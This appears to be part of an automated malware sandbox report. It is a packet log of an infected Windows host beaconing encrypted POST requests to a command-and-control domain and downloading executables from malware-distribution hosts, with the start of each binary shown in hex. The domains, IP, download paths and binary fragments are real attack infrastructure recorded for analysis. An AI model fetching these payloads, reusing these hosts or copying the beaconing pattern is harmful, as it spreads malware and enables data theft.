Dec 1, 2021 09:14:13.272150040 CET	3411	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://tgtmtdosym.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 326 Host: host-data-coin-11.com
Dec 1, 2021 09:14:13.272157907 CET	3411	OUT	Data Raw: 10 87 8a e3 6e f5 a2 ba b9 49 0e 46 7d cd 97 f3 30 13 df 3f d3 37 1e 98 c8 eb de 82 f8 a2 90 83 1e ba 58 d3 6b 6e b8 e6 e8 a8 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 8b 66 5d 02 c8 a1 c1 64 4f b7 84 11 Data Ascii: nIF}0?7XknwmDu$f]dOTZ7"hS7C;l[`D@;ST'wgUnwM`_n92Q/^_\|KlV:,dT?J>mrSOu;ykR6yk8*:v'LK6
Dec 1, 2021 09:14:13.370440006 CET	3412	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Wed, 01 Dec 2021 08:14:13 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 34 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f d1 95 4f 11 6a 11 e9 b2 83 bd a6 0b a2 13 cc 7b b8 43 12 c3 55 a1 b9 67 e3 25 58 51 b8 f6 cb 41 e1 0e 88 16 95 e1 63 da 7d b3 ef d2 01 79 e5 a8 1d 63 a9 0d 0a 30 0d 0a 0d 0a Data Ascii: 46I:82OOj{CUg%XQAc}yc0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
32	192.168.2.4	49788	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 09:14:13.805233955 CET	3412	OUT	GET /downloads/toolspab3.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: privacytoolzforyou-7000.com
Dec 1, 2021 09:14:13.887214899 CET	3414	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 01 Dec 2021 08:14:13 GMT Content-Type: application/x-msdos-program Content-Length: 336896 Connection: close Last-Modified: Wed, 01 Dec 2021 08:14:01 GMT ETag: "52400-5d21141aa49b3" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bf 4f 57 03 fb 2e 39 50 fb 2e 39 50 fb 2e 39 50 68 60 a1 50 fa 2e 39 50 94 58 92 50 d5 2e 39 50 94 58 a7 50 e2 2e 39 50 94 58 93 50 79 2e 39 50 f2 56 aa 50 f8 2e 39 50 fb 2e 38 50 18 2e 39 50 94 58 96 50 fa 2e 39 50 94 58 a3 50 fa 2e 39 50 94 58 a4 50 fa 2e 39 50 52 69 63 68 fb 2e 39 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 c8 12 7d 5f 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 c4 03 00 00 40 09 00 00 00 00 00 f0 94 01 00 00 10 00 00 00 e0 03 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 40 0d 00 00 04 00 00 38 71 05 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 c4 bd 03 00 28 00 00 00 00 b0 0c 00 70 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0d 00 34 1d 00 00 c0 13 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 68 8a 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 6c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 6e c2 03 00 00 10 00 00 00 c4 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 40 cc 08 00 00 e0 03 00 00 de 00 00 00 c8 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 70 41 00 00 00 b0 0c 00 00 42 00 00 00 a6 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 b6 3b 00 00 00 00 0d 00 00 3c 00 00 00 e8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 c1 03 00 66 c1 03 00 7a c1 03 00 8e c1 03 00 9c c1 03 00 b0 c1 03 00 c6 c1 03 00 e4 c1 03 00 fa c1 03 00 0a c2 03 00 1c c2 03 00 3c c2 03 00 52 c2 03 00 64 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$OW.9P.9P.9Ph`P.9PXP.9PXP.9PXPy.9PVP.9P.8P.9PXP.9PXP.9PXP.9PRich.9PPEL}_@@@8q(pA4h@l.textn `.data@@.rsrcpAB@@.reloc;<@BXfz<Rd
Dec 1, 2021 09:14:13.887269974 CET	3415	IN	Data Raw: c2 03 00 7a c2 03 00 88 c2 03 00 a0 c2 03 00 ae c2 03 00 c0 c2 03 00 d0 c2 03 00 e2 c2 03 00 f0 c2 03 00 04 c3 03 00 20 c3 03 00 3e c3 03 00 50 c3 03 00 5e c3 03 00 76 c3 03 00 8a c3 03 00 a8 c3 03 00 c0 c3 03 00 e2 c3 03 00 f4 c3 03 00 02 c4 03 Data Ascii: z >P^v&@R\v(8Tf8D`t"2L
Dec 1, 2021 09:14:13.887310028 CET	3416	IN	Data Raw: 00 26 00 26 00 20 00 21 00 5f 00 74 00 6d 00 5f 00 75 00 6e 00 69 00 63 00 6f 00 64 00 65 00 5f 00 73 00 61 00 66 00 65 00 28 00 66 00 6e 00 29 00 29 00 29 00 29 00 00 00 70 00 75 00 74 00 73 00 00 00 00 00 00 00 00 00 66 00 3a 00 5c 00 64 00 64 Data Ascii: && !_tm_unicode_safe(fn))))putsf:\dd\vctools\crt_bld\self_x86\crt\src\puts.c(string != NULL)CorExitProcessmscoree.dllf
Dec 1, 2021 09:14:13.887346983 CET	3418	IN	Data Raw: 00 0a 00 00 00 00 00 52 00 36 00 30 00 33 00 30 00 0d 00 0a 00 2d 00 20 00 43 00 52 00 54 00 20 00 6e 00 6f 00 74 00 20 00 69 00 6e 00 69 00 74 00 69 00 61 00 6c 00 69 00 7a 00 65 00 64 00 0d 00 0a 00 00 00 00 00 52 00 36 00 30 00 32 00 38 00 0d Data Ascii: R6030- CRT not initializedR6028- unable to initialize heapR6027- not enough space for lowio initializa
Dec 1, 2021 09:14:13.887386084 CET	3419	IN	Data Raw: 00 b0 1b 40 00 1b 00 00 00 40 1b 40 00 1c 00 00 00 f0 1a 40 00 1e 00 00 00 b0 1a 40 00 1f 00 00 00 e8 19 40 00 20 00 00 00 80 19 40 00 21 00 00 00 90 17 40 00 78 00 00 00 6c 17 40 00 79 00 00 00 50 17 40 00 7a 00 00 00 34 17 40 00 fc 00 00 00 2c Data Ascii: @@@@@@ @!@xl@yP@z4@,@@Microsoft Visual C++ Runtime Librarywcscat_s(outmsg, (sizeof(outmsg) /
Dec 1, 2021 09:14:13.887425900 CET	3421	IN	Data Raw: 00 69 00 73 00 75 00 61 00 6c 00 20 00 43 00 2b 00 2b 00 20 00 44 00 65 00 62 00 75 00 67 00 20 00 4c 00 69 00 62 00 72 00 61 00 72 00 79 00 00 00 00 00 5f 00 43 00 72 00 74 00 44 00 62 00 67 00 52 00 65 00 70 00 6f 00 72 00 74 00 3a 00 20 00 53 Data Ascii: isual C++ Debug Library_CrtDbgReport: String too long or IO Errorwcscpy_s(szOutMessage, 4096, L"_CrtDbgReport: String
Dec 1, 2021 09:14:13.887463093 CET	3422	IN	Data Raw: 63 72 74 5c 73 72 63 5c 69 6e 70 75 74 2e 63 00 00 6e 00 46 00 6c 00 6f 00 61 00 74 00 53 00 74 00 72 00 55 00 73 00 65 00 64 00 3c 00 3d 00 28 00 2a 00 70 00 6e 00 46 00 6c 00 6f 00 61 00 74 00 53 00 74 00 72 00 53 00 7a 00 29 00 00 00 00 00 28 Data Ascii: crt\src\input.cnFloatStrUsed<=(pnFloatStrSz)("Invalid Input Format",0)_input_s_lClientIgnoreCRTNormalFree+@+@+@+@@Error: memory allocation:
Dec 1, 2021 09:14:13.887502909 CET	3423	IN	Data Raw: 00 55 00 73 00 65 00 72 00 44 00 61 00 74 00 61 00 20 00 21 00 3d 00 20 00 4e 00 55 00 4c 00 4c 00 00 00 5f 00 70 00 46 00 69 00 72 00 73 00 74 00 42 00 6c 00 6f 00 63 00 6b 00 20 00 3d 00 3d 00 20 00 70 00 48 00 65 00 61 00 64 00 00 00 5f 00 70 Data Ascii: UserData != NULL_pFirstBlock == pHead_pLastBlock == pHeadpHead->nBlockUse == nBlockUsepHead->nLine == IGNORE_LINE &&
Dec 1, 2021 09:14:13.887542009 CET	3425	IN	Data Raw: 63 61 74 69 6f 6e 20 77 72 6f 74 65 20 74 6f 20 61 20 68 65 61 70 20 62 75 66 66 65 72 20 74 68 61 74 20 77 61 73 20 66 72 65 65 64 2e 0a 00 00 00 00 00 00 00 48 45 41 50 20 43 4f 52 52 55 50 54 49 4f 4e 20 44 45 54 45 43 54 45 44 3a 20 6f 6e 20 Data Ascii: cation wrote to a heap buffer that was freed.HEAP CORRUPTION DETECTED: on top of Free block at 0x%p.CRT detected that the application wrote to a heap buffer that was freed.Memory allocated at %hs(%d).DAMAGED_heapchk fails with un
Dec 1, 2021 09:14:13.887581110 CET	3426	IN	Data Raw: 74 5c 73 72 63 5c 74 69 64 74 61 62 6c 65 2e 63 00 00 00 46 6c 73 46 72 65 65 00 46 6c 73 53 65 74 56 61 6c 75 65 00 46 6c 73 47 65 74 56 61 6c 75 65 00 46 6c 73 41 6c 6c 6f 63 00 00 00 00 4b 00 45 00 52 00 4e 00 45 00 4c 00 33 00 32 00 2e 00 44 Data Ascii: t\src\tidtable.cFlsFreeFlsSetValueFlsGetValueFlsAllocKERNEL32.DLLf:\dd\vctools\crt_bld\self_x86\crt\src\_sftbuf.cf:\dd\vctools\crt_bld\self_x86\crt\src\_sftbuf.c
Dec 1, 2021 09:14:13.945374012 CET	3428	IN	Data Raw: 00 6e 00 76 00 70 00 00 00 66 00 3a 00 5c 00 64 00 64 00 5c 00 76 00 63 00 74 00 6f 00 6f 00 6c 00 73 00 5c 00 63 00 72 00 74 00 5f 00 62 00 6c 00 64 00 5c 00 73 00 65 00 6c 00 66 00 5f 00 78 00 38 00 36 00 5c 00 63 00 72 00 74 00 5c 00 73 00 72 Data Ascii: nvpf:\dd\vctools\crt_bld\self_x86\crt\src\stdenvp.cf:\dd\vctools\crt_bld\self_x86\crt\src\stdenvp.cf:\dd\vctools\crt_bld\self_x86\crt\src\stdargv.cf:\dd\vctools\crt_bld\self_x86

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
33	192.168.2.4	49789	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 09:14:16.861721992 CET	3763	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://drrwv.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 308 Host: host-data-coin-11.com
Dec 1, 2021 09:14:16.861748934 CET	3763	OUT	Data Raw: 10 87 8a e3 6e f5 a2 ba b9 49 0e 46 7d cd 97 f3 30 13 df 3f d3 37 1e 98 c8 eb de 82 f8 a2 90 83 1e ba 58 d3 6b 6e b8 e6 e8 a8 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 84 de 8b 66 5d 02 c9 a1 c1 64 17 b0 da 3a Data Ascii: nIF}0?7XknwmDu$f]d:^{s'T@4ZdJ)iDq[lgbZ:lDg\|,J~%TLP)YXF}b\1\|7[G0!NrMHCOiFustPcM6
Dec 1, 2021 09:14:16.963992119 CET	3764	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Wed, 01 Dec 2021 08:14:16 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
34	192.168.2.4	49790	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 09:14:17.105689049 CET	3765	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://rbuyqamdy.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 267 Host: host-data-coin-11.com
Dec 1, 2021 09:14:17.105705023 CET	3765	OUT	Data Raw: 10 87 8a e3 6e f5 a2 ba b9 49 0e 46 7d cd 97 f3 30 13 df 3f d3 37 1e 98 c8 eb de 82 f8 a2 90 83 1e ba 58 d3 6b 6e b8 e6 e8 a8 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 88 66 5d 02 c8 a1 c1 64 41 b7 8d 61 Data Ascii: nIF}0?7XknwmDu$f]dAa:cb$\|^^n*GR=nt9XC[X,yy!$=_4@x%Z:QQ%;j0ba!XeS&(XE}u#c`uhK3#G>\+]nG
Dec 1, 2021 09:14:17.211118937 CET	3765	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 01 Dec 2021 08:14:17 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
35	192.168.2.4	49791	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 09:14:17.609708071 CET	3766	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://omxkjxm.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 354 Host: host-data-coin-11.com
Dec 1, 2021 09:14:17.609720945 CET	3766	OUT	Data Raw: 10 87 8a e3 6e f5 a2 ba b9 49 0e 46 7d cd 97 f3 30 13 df 3f d3 37 1e 98 c8 eb de 82 f8 a2 90 83 1e ba 58 d3 6b 6e b8 e6 e8 a8 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 89 66 5d 02 c8 a1 c1 64 0e 9e a4 0b Data Ascii: nIF}0?7XknwmDu$f]dNMj.{NR-;XN1r`, -\|uX%n<-r^-"~R]\9qHY&=Ww?l}z7xbFVr;3/Y/zDc@.9qJ;HT'X
Dec 1, 2021 09:14:17.711420059 CET	3767	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 01 Dec 2021 08:14:17 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
36	192.168.2.4	49792	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 09:14:17.888834953 CET	3768	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://xigvfc.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 356 Host: host-data-coin-11.com
Dec 1, 2021 09:14:17.892137051 CET	3768	OUT	Data Raw: 10 87 8a e3 6e f5 a2 ba b9 49 0e 46 7d cd 97 f3 30 13 df 3f d3 37 1e 98 c8 eb de 82 f8 a2 90 83 1e ba 58 d3 6b 6e b8 e6 e8 a8 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 86 66 5d 02 c8 a1 c1 64 39 d8 89 72 Data Ascii: nIF}0?7XknwmDu$f]d9rI(:fWv2z>!You&:[#;&&G^c\|S? cSWA,=;(8&T$vQ&F"u258xR_AhE@w Ts<
Dec 1, 2021 09:14:17.992974997 CET	3769	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Wed, 01 Dec 2021 08:14:17 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
37	192.168.2.4	49793	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 09:14:18.146295071 CET	3770	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://nwqlosscc.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 161 Host: host-data-coin-11.com
Dec 1, 2021 09:14:18.149549961 CET	3770	OUT	Data Raw: 10 87 8a e3 6e f5 a2 ba b9 49 0e 46 7d cd 97 f3 30 13 df 3f d3 37 1e 98 c8 eb de 82 f8 a2 90 83 1e ba 58 d3 6b 6e b8 e6 e8 a8 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 87 66 5d 02 c8 a1 c1 64 28 a5 90 7d Data Ascii: nIF}0?7XknwmDu$f]d(}Ne!c&NHTHx~Pq 'r:3~H162&\-}Y
Dec 1, 2021 09:14:18.239940882 CET	3770	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 01 Dec 2021 08:14:18 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
38	192.168.2.4	49794	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 09:14:18.325067043 CET	3771	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://bkjjovqxmd.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 354 Host: host-data-coin-11.com
Dec 1, 2021 09:14:18.325079918 CET	3771	OUT	Data Raw: 10 87 8a e3 6e f5 a2 ba b9 49 0e 46 7d cd 97 f3 30 13 df 3f d3 37 1e 98 c8 eb de 82 f8 a2 90 83 1e ba 58 d3 6b 6e b8 e6 e8 a8 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 84 66 5d 02 c8 a1 c1 64 1b c2 aa 6b Data Ascii: nIF}0?7XknwmDu$f]dkVU=Fh_b. t71^hLL5&5lpt{\|;xFCSre%BRp+i>b/l5poc'?P bRh%},5f8f1#
Dec 1, 2021 09:14:18.428277969 CET	3772	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Wed, 01 Dec 2021 08:14:18 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 34 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c9 88 55 13 26 14 f9 aa 89 ff a2 1e b7 08 93 31 f9 55 50 99 4a f7 e0 25 e5 39 1a 4a ed ac 8e 70 bc 57 da 4a d6 f7 22 81 20 ea c3 96 53 28 ef a8 1d 63 a9 0d 0a 30 0d 0a 0d 0a Data Ascii: 46I:82OU&1UPJ%9JpWJ" S(c0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
39	192.168.2.4	49795	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 09:14:18.881853104 CET	3772	OUT	GET /files/4152_1638095425_4339.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: host-file-host-3.com
Dec 1, 2021 09:14:18.963581085 CET	3774	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 01 Dec 2021 08:14:18 GMT Content-Type: application/x-msdos-program Content-Length: 2740224 Connection: close Last-Modified: Sun, 28 Nov 2021 10:30:25 GMT ETag: "29d000-5d1d6cff91027" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 07 f6 17 4c 43 97 79 1f 43 97 79 1f 43 97 79 1f 57 fc 7a 1e 48 97 79 1f 57 fc 7c 1e e5 97 79 1f 57 fc 7d 1e 51 97 79 1f 57 fc 7e 1e 42 97 79 1f 11 e2 7d 1e 52 97 79 1f 11 e2 7a 1e 56 97 79 1f 11 e2 7c 1e 69 97 79 1f 57 fc 78 1e 50 97 79 1f 43 97 78 1f d0 97 79 1f f6 e2 70 1e 44 97 79 1f f6 e2 86 1f 42 97 79 1f f6 e2 7b 1e 42 97 79 1f 52 69 63 68 43 97 79 1f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 09 00 77 37 a3 61 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 1d 00 40 03 00 00 1c 01 00 00 00 00 00 10 52 46 00 00 10 00 00 00 50 03 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 6e 00 00 04 00 00 e5 b2 2a 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 fb 90 04 00 f8 00 00 00 00 a0 04 00 d8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 20 20 20 20 20 ed 3e 03 00 00 10 00 00 00 90 01 00 00 04 00 00 00 00 00 00 